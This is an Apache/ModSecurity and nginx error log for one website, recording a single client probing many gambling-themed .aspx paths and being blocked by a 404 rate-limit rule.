[Tue Mar 10 23:00:25.605276 2026] [:error] [pid 3873:tid 3929] [client 62.84.185.63:43604] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abAyCS_mXXwyT3XINro9fgAAAFE"]
2026/03/10 23:00:28 [error] 3834#3834: *220309 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /pg%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:00:28.229474 2026] [:error] [pid 3965:tid 3985] [client 62.84.185.63:43638] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "abAyDJN2nrVwtq9b0rbk6gAAANI"]
2026/03/10 23:00:30 [error] 3838#3838: *220349 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /pg%20slot168.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot168.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:00:30.773586 2026] [:error] [pid 3965:tid 3974] [client 62.84.185.63:43690] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "abAyDpN2nrVwtq9b0rbk8AAAAMc"]
2026/03/10 23:00:33 [error] 3826#3826: *220391 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /pg%20slot99.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot99.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:00:33.447672 2026] [:error] [pid 3873:tid 3923] [client 62.84.185.63:43740] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "abAyES_mXXwyT3XINro9iQAAAEs"]
2026/03/10 23:00:36 [error] 3834#3834: *220426 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /pg%20soft.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20soft.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:00:36.242543 2026] [:error] [pid 3965:tid 3990] [client 62.84.185.63:43790] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "abAyFJN2nrVwtq9b0rbk_gAAANc"]
2026/03/10 23:00:38 [error] 3833#3833: *220462 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /pg%20th.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20th.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:00:38.865966 2026] [:error] [pid 3965:tid 3974] [client 62.84.185.63:43844] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "abAyFpN2nrVwtq9b0rblCQAAAMc"]
2026/03/10 23:00:41 [error] 3843#3843: *220512 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /pg%20thailand.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20thailand.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:00:41.784306 2026] [:error] [pid 3874:tid 3947] [client 62.84.185.63:43898] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "abAyGeK9H96QUJV_mxZP0QAAAIg"]
2026/03/10 23:00:44 [error] 3818#3818: *220549 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /pg%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20wallet.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:00:44.240228 2026] [:error] [pid 3873:tid 3931] [client 62.84.185.63:43944] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "abAyHC_mXXwyT3XINro9ogAAAFM"]
2026/03/10 23:00:46 [error] 3846#3846: *220589 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /pg%20world.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20world.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:00:46.997735 2026] [:error] [pid 3965:tid 3975] [client 62.84.185.63:44010] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "abAyHpN2nrVwtq9b0rblHgAAAMg"]
2026/03/10 23:00:49 [error] 3838#3838: *220633 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /pgslot%20login.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pgslot%20login.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:00:49.816530 2026] [:error] [pid 3874:tid 3942] [client 62.84.185.63:44056] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "abAyIeK9H96QUJV_mxZP6AAAAIM"]
2026/03/10 23:00:52 [error] 3847#3847: *220667 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /pgzeed%20gold.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pgzeed%20gold.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:00:52.528569 2026] [:error] [pid 3965:tid 3975] [client 62.84.185.63:44106] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "abAyJJN2nrVwtq9b0rblLQAAAMg"]
2026/03/10 23:00:55 [error] 3846#3846: *220709 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /pp%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pp%20slot.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:00:55.273326 2026] [:error] [pid 3872:tid 3877] [client 62.84.185.63:44160] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "abAyJ9seKmNoS38Y-zvfmwAAAAE"]
2026/03/10 23:00:57 [error] 3823#3823: *220743 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /riches666%20pg.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/riches666%20pg.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:00:57.759082 2026] [:error] [pid 3873:tid 3928] [client 62.84.185.63:44194] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "abAyKS_mXXwyT3XINro9tAAAAFA"]
2026/03/10 23:01:00 [error] 3847#3847: *220775 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /riches777%20pg.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/riches777%20pg.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:01:00.581375 2026] [:error] [pid 3965:tid 3968] [client 62.84.185.63:44242] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "abAyLJN2nrVwtq9b0rblQQAAAME"]
2026/03/10 23:01:03 [error] 3838#3838: *220818 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /riches888%20pg.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/riches888%20pg.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:01:03.340972 2026] [:error] [pid 3873:tid 3922] [client 62.84.185.63:44284] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "abAyLy_mXXwyT3XINro9vQAAAEo"]
2026/03/10 23:01:05 [error] 3847#3847: *220843 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /royal%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/royal%20slot.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:01:05.853501 2026] [:error] [pid 3965:tid 3977] [client 62.84.185.63:44314] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "abAyMZN2nrVwtq9b0rblTwAAAMo"]
[Tue Mar 10 23:01:08.585980 2026] [:error] [pid 3965:tid 3972] [client 62.84.185.63:44350] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "abAyNJN2nrVwtq9b0rblVwAAAMU"]
2026/03/10 23:01:08 [error] 3826#3826: *220874 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /sa%20casino.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/sa%20casino.aspx", host: "measureyourbrand.com.au"
2026/03/10 23:01:11 [error] 3843#3843: *220902 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /sbobet%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/sbobet%20auto.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:01:11.426211 2026] [:error] [pid 3874:tid 3939] [client 62.84.185.63:44372] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "abAyN-K9H96QUJV_mxZQCwAAAIA"]
[Tue Mar 10 23:01:43.959197 2026] [:error] [pid 3873:tid 3932] [client 62.84.185.63:44846] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "abAyVy_mXXwyT3XINro97AAAAFQ"]
2026/03/10 23:01:43 [error] 3847#3847: *221324 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /slot%20pg%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20pg%20vip.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:01:46.668072 2026] [:error] [pid 3874:tid 3963] [client 62.84.185.63:44882] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "abAyWuK9H96QUJV_mxZQRwAAAJg"]
2026/03/10 23:01:46 [error] 3847#3847: *221356 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /slot%20pg%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20pg%20wallet.aspx", host: "measureyourbrand.com.au"
2026/03/10 23:01:49 [error] 3835#3835: *221389 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /slot%20super%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20super%20wallet.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:01:49.191379 2026] [:error] [pid 3873:tid 3926] [client 62.84.185.63:44916] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "abAyXS_mXXwyT3XINro99AAAAE4"]
2026/03/10 23:01:51 [error] 3818#3818: *221419 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /slot%20true%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20true%20wallet.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:01:51.765388 2026] [:error] [pid 3965:tid 3979] [client 62.84.185.63:44956] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "abAyX5N2nrVwtq9b0rbltwAAAMw"]
[Tue Mar 10 23:01:54.570191 2026] [:error] [pid 3965:tid 3968] [client 62.84.185.63:45008] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "abAyYpN2nrVwtq9b0rblxQAAAME"]
2026/03/10 23:01:54 [error] 3847#3847: *221463 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /slot%20wallet%20777%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20wallet%20777%20auto.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:01:57.318711 2026] [:error] [pid 3872:tid 3885] [client 62.84.185.63:45044] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "abAyZdseKmNoS38Y-zvfygAAAAk"]
2026/03/10 23:01:57 [error] 3817#3817: *221496 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /slot%20wallet%20iwallet%20link%20login.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20wallet%20iwallet%20link%20login.aspx", host: "measureyourbrand.com.au"
2026/03/10 23:02:00 [error] 3835#3835: *221526 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /slot%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20wallet.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:02:00.055348 2026] [:error] [pid 3965:tid 3967] [client 62.84.185.63:45078] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "abAyaJN2nrVwtq9b0rbl1wAAAMA"]
2026/03/10 23:02:02 [error] 3843#3843: *221561 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /slot1234%20pg.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot1234%20pg.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:02:02.805392 2026] [:error] [pid 3965:tid 3968] [client 62.84.185.63:45120] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "abAyapN2nrVwtq9b0rbl3AAAAME"]
2026/03/10 23:02:05 [error] 3847#3847: *221598 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /slotxo%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slotxo%20wallet.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:02:05.327589 2026] [:error] [pid 3965:tid 3988] [client 62.84.185.63:45170] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "abAybZN2nrVwtq9b0rbl6gAAANU"]
2026/03/10 23:02:08 [error] 3838#3838: *221632 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /spg%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/spg%20slot.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:02:08.059483 2026] [:error] [pid 3873:tid 3912] [client 62.84.185.63:45212] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "abAycC_mXXwyT3XINro-CQAAAEA"]
[Tue Mar 10 23:02:10.664249 2026] [:error] [pid 3965:tid 3985] [client 62.84.185.63:45258] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "abAycpN2nrVwtq9b0rbmAgAAANI"]
2026/03/10 23:02:10 [error] 3826#3826: *221669 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /spx%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/spx%20slot.aspx", host: "measureyourbrand.com.au"
2026/03/10 23:02:13 [error] 3831#3831: *221710 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /super%20pg%201688.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/super%20pg%201688.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:02:13.441126 2026] [:error] [pid 3873:tid 3925] [client 62.84.185.63:45308] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "abAydS_mXXwyT3XINro-EgAAAE0"]
2026/03/10 23:02:16 [error] 3833#3833: *221749 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /super%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/super%20slot.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:02:16.192211 2026] [:error] [pid 3965:tid 3988] [client 62.84.185.63:45352] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "abAyeJN2nrVwtq9b0rbmHAAAANU"]
2026/03/10 23:02:18 [error] 3833#3833: *221783 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /superslot%20max%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot%20max%20wallet.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:02:18.833041 2026] [:error] [pid 3874:tid 3961] [client 62.84.185.63:45394] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abAyeuK9H96QUJV_mxZQZQAAAJY"]
[Tue Mar 10 23:02:21.651983 2026] [:error] [pid 3874:tid 3948] [client 62.84.185.63:45432] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "abAyfeK9H96QUJV_mxZQbQAAAIk"]
2026/03/10 23:02:21 [error] 3847#3847: *221817 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /superslot%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot%20vip.aspx", host: "measureyourbrand.com.au"
2026/03/10 23:02:24 [error] 3847#3847: *221846 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /superslot%20wallet%20net.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot%20wallet%20net.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:02:24.162768 2026] [:error] [pid 3874:tid 3955] [client 62.84.185.63:45460] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abAygOK9H96QUJV_mxZQcgAAAJA"]
2026/03/10 23:02:26 [error] 3826#3826: *221883 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /superslot%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot%20wallet.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:02:26.736316 2026] [:error] [pid 3874:tid 3948] [client 62.84.185.63:45506] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "abAyguK9H96QUJV_mxZQfAAAAIk"]
2026/03/10 23:02:29 [error] 3843#3843: *221921 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /superslot168%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot168%20wallet.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:02:29.472363 2026] [:error] [pid 3874:tid 3961] [client 62.84.185.63:45546] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "abAyheK9H96QUJV_mxZQgwAAAJY"]
